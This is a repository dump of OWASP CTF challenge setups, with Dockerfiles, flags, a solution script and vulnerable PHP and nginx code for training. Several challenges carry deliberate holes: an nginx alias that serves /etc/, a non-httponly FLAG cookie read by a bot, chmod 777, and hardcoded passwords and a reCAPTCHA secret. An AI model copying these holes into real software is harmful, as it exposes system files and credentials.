https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/011serealize/src/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /011serealize/src/images/admin.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/011serealize/src/images/admin.jpg -------------------------------------------------------------------------------- /011serealize/src/images/background.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/011serealize/src/images/background.jpg -------------------------------------------------------------------------------- /011serealize/src/images/guest.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/011serealize/src/images/guest.jpg -------------------------------------------------------------------------------- /012selectsql/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /012selectsql/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | RUN docker-php-ext-install mysqli 3 | COPY src/ /var/www/html/ 4 | -------------------------------------------------------------------------------- /012selectsql/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.1" 2 | services: 3 | www: 4 | build: . 5 | ports: 6 | - "8001:80" 7 | volumes: 8 | - ./src/:/var/www/html/ 9 | links: 10 | - 012selectsqldb 11 | networks: 12 | - default 13 | 012selectsqldb: 14 | image: mysql:8.0 15 | ports: 16 | - "3306:3306" 17 | command: --default-authentication-plugin=mysql_native_password 18 | environment: 19 | MYSQL_DATABASE: myDb 20 | MYSQL_USER: not_brutforsable_user 21 | MYSQL_PASSWORD: not_brutforsable_password 22 | MYSQL_ROOT_PASSWORD: not_brutforsable_password 23 | volumes: 24 | - ./dump:/docker-entrypoint-initdb.d 25 | - ./conf:/etc/mysql/conf.d 26 | - persistent:/var/lib/mysql 27 | networks: 28 | - default 29 | volumes: 30 | persistent: 31 | -------------------------------------------------------------------------------- /012selectsql/dump/create-products.sql: -------------------------------------------------------------------------------- 1 | CREATE TABLE IF NOT EXISTS `ctf` ( 2 | `flag` varchar(100) NOT NULL 3 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 4 | 5 | INSERT INTO `ctf` (`flag`) VALUES 6 | ('FLAG{A_SQL_query_goes_into_a_bar,_walks_up_to_two_tables_and_asks,_Can_I_join_you?}'); 7 | -------------------------------------------------------------------------------- /013captcha/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /013captcha/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | run apt-get update && apt-get install libfontconfig nano -y 3 | COPY src/ /var/www/html/ 4 | COPY config/php.ini /usr/local/etc/php/ 5 | RUN apt-get update && apt-get install -y \ 6 | libfreetype6-dev \ 7 | libjpeg62-turbo-dev \ 8 | libmcrypt-dev \ 9 | libpng-dev \ 10 | && docker-php-ext-install -j$(nproc) iconv mcrypt \ 11 | && docker-php-ext-configure gd --with-freetype-dir=/usr/include/ --with-jpeg-dir=/usr/include/ \ 12 | && docker-php-ext-install -j$(nproc) gd 13 | -------------------------------------------------------------------------------- /013captcha/src/.htaccess: -------------------------------------------------------------------------------- 1 | IndexOptions +Charset=UTF-8 2 | AddCharset utf-8 .html .css .php .txt .js 3 | -------------------------------------------------------------------------------- /013captcha/src/img.php: -------------------------------------------------------------------------------- 1 | 22 | -------------------------------------------------------------------------------- /013captcha/src/unispace.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/013captcha/src/unispace.ttf -------------------------------------------------------------------------------- /014hackinggame/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /014hackinggame/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | run apt-get update && apt-get install nano net-tools -y 3 | COPY src/ /var/www/html/ 4 | -------------------------------------------------------------------------------- /015googleauth/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /015googleauth/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | run apt-get update && apt-get install nano net-tools -y 3 | COPY src/ /var/www/html/ 4 | -------------------------------------------------------------------------------- /015googleauth/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | dns: 4 | image: vulhub/bind:latest 5 | ports: 6 | - "53:53/tcp" 7 | - "53:53/udp" 8 | volumes: 9 | - ./named.conf.local:/etc/bind/named.conf.local 10 | - ./vulhub.db:/etc/bind/vulhub.db 11 | www: 12 | image: php:7.0-apache 13 | ports: 14 | - "80:80" 15 | volumes: 16 | - ./src:/var/www/html/ -------------------------------------------------------------------------------- /015googleauth/named.conf.local: -------------------------------------------------------------------------------- 1 | zone "owaspukraine.org" { 2 | type master; 3 | file "/etc/bind/vulhub.db"; 4 | }; 5 | -------------------------------------------------------------------------------- /015googleauth/vulhub.db: -------------------------------------------------------------------------------- 1 | @ IN SOA ns.owaspukraine.org. sa.owaspukraine.org. ( 2 | 1 ; serial number 3 | 3600 ; refresh [1h] 4 | 600 ; retry [10m] 5 | 86400 ; expire [1d] 6 | 3600 ) ; min TTL [1h] 7 | 8 | IN NS ns1 9 | IN NS ns2 10 | 11 | ns1 IN A 10.0.0.1 12 | ns2 IN A 10.0.0.2 13 | www IN A 10.1.1.1 14 | sa IN A 10.1.1.2 15 | cdn IN A 10.1.1.3 16 | admin IN A 10.1.1.4 17 | wap IN CNAME www 18 | static IN CNAME www 19 | git IN A 10.1.1.4 20 | flag IN TXT Google_Auth_Secret 2OWASPUKRAINECTF 21 | -------------------------------------------------------------------------------- /016nginx/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /016nginx/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM vulhub/nginx:1 2 | run apt-get update && apt-get install nano -y 3 | COPY ./configuration/ /etc/nginx/conf.d 4 | COPY ./files/ /home/ 5 | COPY ./src/ /usr/share/nginx/html/ 6 | -------------------------------------------------------------------------------- /016nginx/configuration/default.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | 4 | root /usr/share/nginx/html; 5 | 6 | index index.html; 7 | 8 | server_name _; 9 | 10 | autoindex on; 11 | 12 | location /files { 13 | alias /etc/; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /016nginx/files/flag.txt: -------------------------------------------------------------------------------- 1 | FLAG{NGINX_conf_its_EASY_and_Secure} -------------------------------------------------------------------------------- /016nginx/src/script.js: -------------------------------------------------------------------------------- 1 | //Defining variable based on unique ID 2 | 3 | var audio1 = document.getElementById("audioID"); 4 | 5 | //Example of an HTML Audio/Video Method 6 | 7 | function playAudio() { 8 | audio1.play(); 9 | } -------------------------------------------------------------------------------- /017domxss/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /017domxss/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | run apt-get update && apt-get install libfontconfig gnupg nano python git wget -y 3 | COPY opt/ /opt/ 4 | RUN tar xvjC /opt/ -f /opt/phantom.tar.bz2 5 | COPY config/php.ini /usr/local/etc/php/ 6 | run ln -sf /opt/phantomjs/bin/phantomjs /usr/local/bin/phantomjs 7 | run apt-get install git python -y 8 | run cd /opt/ && git clone git://github.com/casperjs/casperjs.git 9 | run ln -sf /opt/casperjs/bin/casperjs /usr/local/bin/casperjs 10 | run ln -sf /opt/phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/local/bin/phantomjs 11 | COPY src/ /var/www/html/ 12 | run mkdir -p /var/www/html/report_to_support_/ 13 | run chown www-data /var/www/html/report_to_support_/ 14 | EXPOSE 80 15 | -------------------------------------------------------------------------------- /017domxss/opt/bot.js: -------------------------------------------------------------------------------- 1 | var system = require('system'); 2 | var cookie_domain=system.args[4]; 3 | var domain="http://"+cookie_domain; 4 | //var url=domain+"/"+system.args[4]; 5 | var url=system.args[6]; 6 | var cookie=system.args[5]; 7 | //console.log('0:'+system.args[0]); 8 | //console.log('1:'+system.args[1]); 9 | //console.log('2:'+system.args[2]); 10 | //console.log('3:'+system.args[3]); 11 | //console.log('4:'+system.args[4]); 12 | //console.log('5:'+system.args[5]); 13 | //console.log('6:'+system.args[6]); 14 | 15 | //console.log('URL:'+url); 16 | //console.log('cookie_domain:'+url); 17 | //console.log('cookie_domain:'+system.args[5]); 18 | //console.log('cookie:'+system.args[6]); 19 | 20 | phantom.addCookie({ 21 | 'name' : 'FLAG', 22 | 'value' : cookie, 23 | 'domain' : cookie_domain, 24 | 'path' : '/', 25 | 'httponly' : false, 26 | 'secure' : false, 27 | 'expires' : (new Date()).getTime() + (1000 * 60 * 60 * 365) 28 | }); 29 | 30 | var casper = require('casper').create({ 31 | verbose: false, 32 | logLevel: 'debug', 33 | pageSettings: { 34 | loadImages: true, 35 | loadPlugins: true, 36 | userAgent: 'Bot #1' 37 | } 38 | }); 39 | 40 | casper.start(url, function() { 41 | 42 | }); 43 | 44 | casper.run(function() { 45 | //this.echo(this.page.content); 46 | this.exit(); 47 | }); 48 | -------------------------------------------------------------------------------- /017domxss/opt/phantom.tar.bz2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/017domxss/opt/phantom.tar.bz2 -------------------------------------------------------------------------------- /017domxss/src/README.md: -------------------------------------------------------------------------------- 1 | # Online strore with simple PHP 2 | 3 | This is part 1 of my PHP development journey. A simple online store all wrote in pure PHP without using any framework. 4 | 5 | The project was developed as part of Treehouse's PHP development track. 6 | 7 | ## Installation 8 | 9 | Download the repo, set up a server like MAMP or XAMP and view in the browser. 10 | 11 | 12 | ## Contributing 13 | 14 | 1. Fork it! 15 | 2. Create your feature branch: `git checkout -b my-new-feature` 16 | 3. Commit your changes: `git commit -am 'Add some feature'` 17 | 4. Push to the branch: `git push origin my-new-feature` 18 | 5. Submit a pull request :D 19 | 20 | 21 | ## Credits 22 | 23 | This app was developed as a personal project for learning PHP development with Treehouse's PHP development track. 24 | Sergio Rodríguez, Bogotá, Colombia 25 | -------------------------------------------------------------------------------- /017domxss/src/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/017domxss/src/favicon.ico -------------------------------------------------------------------------------- /017domxss/src/img/banner-background.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/017domxss/src/img/banner-background.jpg -------------------------------------------------------------------------------- /017domxss/src/img/banner-link-arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/017domxss/src/img/banner-link-arrow.png -------------------------------------------------------------------------------- /017domxss/src/img/branding-title.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/017domxss/src/img/branding-title.png -------------------------------------------------------------------------------- /017domxss/src/img/logo-paypal-classic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/017domxss/src/img/logo-paypal-classic.png -------------------------------------------------------------------------------- /017domxss/src/img/logo-paypal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/017domxss/src/img/logo-paypal.png -------------------------------------------------------------------------------- /017domxss/src/img/mike-the-frog.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/017domxss/src/img/mike-the-frog.png -------------------------------------------------------------------------------- /017domxss/src/img/nav-sprite.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/017domxss/src/img/nav-sprite.png -------------------------------------------------------------------------------- /017domxss/src/img/shirts/shirt-101.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/017domxss/src/img/shirts/shirt-101.jpg -------------------------------------------------------------------------------- /017domxss/src/img/shirts/shirt-102.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/017domxss/src/img/shirts/shirt-102.jpg -------------------------------------------------------------------------------- /017domxss/src/img/shirts/shirt-103.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/017domxss/src/img/shirts/shirt-103.jpg -------------------------------------------------------------------------------- /017domxss/src/img/shirts/shirt-104.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/017domxss/src/img/shirts/shirt-104.jpg -------------------------------------------------------------------------------- /017domxss/src/img/shirts/shirt-105.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/017domxss/src/img/shirts/shirt-105.jpg -------------------------------------------------------------------------------- /017domxss/src/img/shirts/shirt-106.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/017domxss/src/img/shirts/shirt-106.jpg -------------------------------------------------------------------------------- /017domxss/src/img/shirts/shirt-107.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/017domxss/src/img/shirts/shirt-107.jpg -------------------------------------------------------------------------------- /017domxss/src/img/shirts/shirt-108.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/017domxss/src/img/shirts/shirt-108.jpg -------------------------------------------------------------------------------- /017domxss/src/inc/footer.php: -------------------------------------------------------------------------------- 1 | 2 | 3 |

17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /017domxss/src/index.php: -------------------------------------------------------------------------------- 1 | 5 | 19 | 20 |
21 | 22 |
23 | 24 |

Mike’s Latest Shirts

25 | 26 | 27 | 42 | 43 |
44 | 45 |
46 | 47 | -------------------------------------------------------------------------------- /017domxss/src/receipt.php: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 |
8 | 9 |
10 | 11 |

Thank You!

12 | 13 |

Thank you for your payment. Your transaction has been completed, and a receipt for your purchase has been emailed to you. You may log into your account at www.paypal.com/us to view details of this transaction.

14 | 15 |

Need another shirt already? Visit the Shirts Listing page again.

16 | 17 |
18 | 19 |
20 | 21 | -------------------------------------------------------------------------------- /017domxss/src/shirts.php: -------------------------------------------------------------------------------- 1 | 5 | 6 |
7 | 8 |
9 | 10 |

Mike’s Full Catalog of Shirts

11 | 12 | 18 | 19 |
20 | 21 |
22 | 23 | -------------------------------------------------------------------------------- /018resetpass/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /018resetpass/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | run apt-get update && apt-get install nano net-tools -y 3 | COPY src/ /var/www/html/ 4 | -------------------------------------------------------------------------------- /018resetpass/src/robots.txt: -------------------------------------------------------------------------------- 1 | User-agent: * 2 | Disallow: /admin/ 3 | -------------------------------------------------------------------------------- /019insta/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /019insta/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | run apt-get update && apt-get install libfontconfig gnupg nano python git wget -y 3 | COPY opt/ /opt/ 4 | RUN tar xvjC /opt/ -f /opt/phantom.tar.bz2 5 | COPY config/php.ini /usr/local/etc/php/ 6 | run ln -sf /opt/phantomjs/bin/phantomjs /usr/local/bin/phantomjs 7 | run apt-get install git python -y 8 | run cd /opt/ && git clone git://github.com/casperjs/casperjs.git 9 | run ln -sf /opt/casperjs/bin/casperjs /usr/local/bin/casperjs 10 | run ln -sf /opt/phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/local/bin/phantomjs 11 | COPY src/ /var/www/html/ 12 | run mkdir -p /var/www/html/report_to_support_/ 13 | run chown www-data /var/www/html/report_to_support_/ 14 | EXPOSE 80 15 | -------------------------------------------------------------------------------- /019insta/opt/bot.js: -------------------------------------------------------------------------------- 1 | var system = require('system'); 2 | var cookie_domain=system.args[4]; 3 | var domain="http://"+cookie_domain; 4 | //var url=domain+"/"+system.args[4]; 5 | var url=system.args[6]; 6 | var cookie=system.args[5]; 7 | //console.log('0:'+system.args[0]); 8 | //console.log('1:'+system.args[1]); 9 | //console.log('2:'+system.args[2]); 10 | //console.log('3:'+system.args[3]); 11 | //console.log('4:'+system.args[4]); 12 | //console.log('5:'+system.args[5]); 13 | //console.log('6:'+system.args[6]); 14 | 15 | //console.log('URL:'+url); 16 | //console.log('cookie_domain:'+url); 17 | //console.log('cookie_domain:'+system.args[5]); 18 | //console.log('cookie:'+system.args[6]); 19 | 20 | phantom.addCookie({ 21 | 'name' : 'FLAG', 22 | 'value' : cookie, 23 | 'domain' : cookie_domain, 24 | 'path' : '/', 25 | 'httponly' : false, 26 | 'secure' : false, 27 | 'expires' : (new Date()).getTime() + (1000 * 60 * 60 * 365) 28 | }); 29 | 30 | var casper = require('casper').create({ 31 | verbose: false, 32 | logLevel: 'debug', 33 | pageSettings: { 34 | loadImages: true, 35 | loadPlugins: true, 36 | userAgent: 'Bot #1' 37 | } 38 | }); 39 | 40 | casper.start(url, function() { 41 | 42 | }); 43 | 44 | casper.run(function() { 45 | //this.echo(this.page.content); 46 | this.exit(); 47 | }); 48 | -------------------------------------------------------------------------------- /019insta/opt/phantom.tar.bz2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/019insta/opt/phantom.tar.bz2 -------------------------------------------------------------------------------- /019insta/src/feedback.php: -------------------------------------------------------------------------------- 1 | Please check the the captcha form.'; 9 | header("Location: /"); 10 | exit; 11 | } 12 | $secretKey = "6LedRrsUAAAAAGwOcORwwh9l4n2P5jdEMKCX4WrO"; 13 | $ip = $_SERVER['REMOTE_ADDR']; 14 | // post request to server 15 | $url = 'https://www.google.com/recaptcha/api/siteverify?secret=' . urlencode($secretKey) . '&response=' . urlencode($captcha); 16 | $response = file_get_contents($url); 17 | $responseKeys = json_decode($response,true); 18 | // should return JSON with success as true 19 | if($responseKeys["success"]) { 20 | $flag = 'FLAG{Home_is_where_my_cat_is}'; 21 | 22 | 23 | 24 | 25 | $url = trim($_POST["link"]); 26 | 27 | //echo($url); 28 | 29 | $url_check = "OK"; 30 | $url = escapeshellarg($_POST["link"]); 31 | shell_exec('/opt/casperjs/bin/casperjs --ignore-ssl-errors=true /opt/bot.js '.$_SERVER["HTTP_HOST"]." ".$flag." ".$url); 32 | 33 | }} 34 | header("Location: /"); 35 | exit; 36 | 37 | ?> 38 | -------------------------------------------------------------------------------- /019insta/src/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | Instagram downloader 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /019insta/src/script2.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/019insta/src/script2.js -------------------------------------------------------------------------------- /020accesslog/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /020accesslog/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | run apt-get update && apt-get install nano net-tools -y 3 | COPY src/ /var/www/html/ 4 | -------------------------------------------------------------------------------- /021guessthenumber/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /021guessthenumber/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3 2 | 3 | WORKDIR /usr/src/app 4 | 5 | COPY src/ . 6 | 7 | CMD [ "python", "./server.py" ] 8 | -------------------------------------------------------------------------------- /021guessthenumber/solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | 5 | soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 6 | soc.connect(("21.owaspctf.gq", 8000)) 7 | 8 | tries = 0 9 | 10 | res = soc.recv(4096).decode() 11 | print(res) 12 | l, r = 0, 2 ** 32 - 1 13 | 14 | while l <= r and "OWASP" not in res: 15 | guess = l + (r - l) // 2 16 | clients_input = f"{guess}".encode() 17 | print(f"> {clients_input}") 18 | 19 | soc.send(clients_input) # we must encode the string to bytes 20 | tries += 1 21 | result_bytes = soc.recv(4096) # the number means how the response can be in bytes 22 | res = result_bytes.decode("utf8") # the return will be in bytes, so decode 23 | print(f"< {res}") 24 | 25 | if "big" in res: 26 | r = guess - 1 27 | elif "small" in res: 28 | l = guess + 1 29 | -------------------------------------------------------------------------------- /021guessthenumber/src/flag: -------------------------------------------------------------------------------- 1 | FLAG{Talk_is_cheap.Show_me_the_code} 2 | -------------------------------------------------------------------------------- /022bloglfi/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /022bloglfi/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | run apt-get update && apt-get install nano -y 3 | COPY src/ /var/www/html/ 4 | RUN chmod -R 777 /var/www/html/ViroCMS/ 5 | -------------------------------------------------------------------------------- /022bloglfi/src/.htaccess: -------------------------------------------------------------------------------- 1 | IndexOptions +Charset=UTF-8 2 | AddCharset utf-8 .html .css .php .txt .js 3 | -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Alex White 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/LICENSE.txt: -------------------------------------------------------------------------------- 1 | 123 -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/db/backup/1569359287/viro.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/db/backup/1569359287/viro.db -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/db/backup/1569359558/viro.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/db/backup/1569359558/viro.db -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/db/backup/1569359959/viro.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/db/backup/1569359959/viro.db -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/db/backup/1569361452/viro.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/db/backup/1569361452/viro.db -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/db/backup/1569361512/viro.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/db/backup/1569361512/viro.db -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/db/backup/1569361514/viro.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/db/backup/1569361514/viro.db -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/db/backup/1569361538/viro.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/db/backup/1569361538/viro.db -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/db/backup/1569411023/viro.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/db/backup/1569411023/viro.db -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/db/backup/1569411035/viro.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/db/backup/1569411035/viro.db -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/db/viro.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/db/viro.db -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/tpl/css/viro.css: -------------------------------------------------------------------------------- 1 | /* Remove link styles from sidebar */ 2 | .siimple-list-item a { 3 | color: inherit; 4 | text-decoration: inherit; 5 | } 6 | 7 | .siimple-navbar-item a, a:hover, a:active { 8 | color: inherit; 9 | text-decoration: inherit; 10 | } 11 | 12 | /* Ensure font is the same */ 13 | input, select, textarea, button{ 14 | font-family:inherit; 15 | } -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-brands-400.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-brands-400.eot -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-brands-400.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-brands-400.ttf -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-brands-400.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-brands-400.woff -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-brands-400.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-brands-400.woff2 -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-regular-400.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-regular-400.eot -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-regular-400.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-regular-400.ttf -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-regular-400.woff: -------------------------------------------------------------------------------- 